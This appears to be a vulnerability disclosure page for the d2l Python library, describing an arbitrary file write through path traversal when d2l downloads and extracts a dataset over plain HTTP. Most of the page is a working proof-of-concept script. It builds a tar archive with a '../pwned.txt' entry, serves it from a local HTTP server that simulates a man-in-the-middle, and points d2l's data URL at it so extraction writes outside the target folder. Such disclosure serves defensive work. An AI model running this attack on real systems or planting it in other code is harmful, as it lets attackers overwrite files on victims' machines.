通过 HTTP 下载在 d2l 中任意写入文件
作者: AAtomical创建于 2026年6月10日更新于 2026年6月10日
Environment
| Component | Detail |
|---|---|
| d2l | 1.0.3 (pip install) |
| Python | 3.11.0 |
| Attack | Local HTTP server simulating MITM on http://d2l-data.s3-accelerate.amazonaws.com |
Exploit
import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from d2l import torch as d2l
SERVE_DIR = Path(tempfile.mkdtemp())
WORK_DIR = Path(tempfile.mkdtemp())
# Build malicious tar
with tarfile.open(str(SERVE_DIR / "VOCtrainval_11-May-2012.tar"), "w") as tf:
info = tarfile.TarInfo(name="../pwned.txt")
data = b"ARBITRARY_WRITE\n"
info.size = len(data)
tf.addfile(info, io.BytesIO(data))
# Serve (simulates MITM)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 19234), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
# Victim downloads dataset (MITM'd)
d2l.DATA_URL = "http://127.0.0.1:19234/"
fname = d2l.download(d2l.DATA_URL + "VOCtrainval_11-May-2012.tar", folder=str(WORK_DIR / "data"))
d2l.extract(fname)内容来源: d2l-ai/d2l-en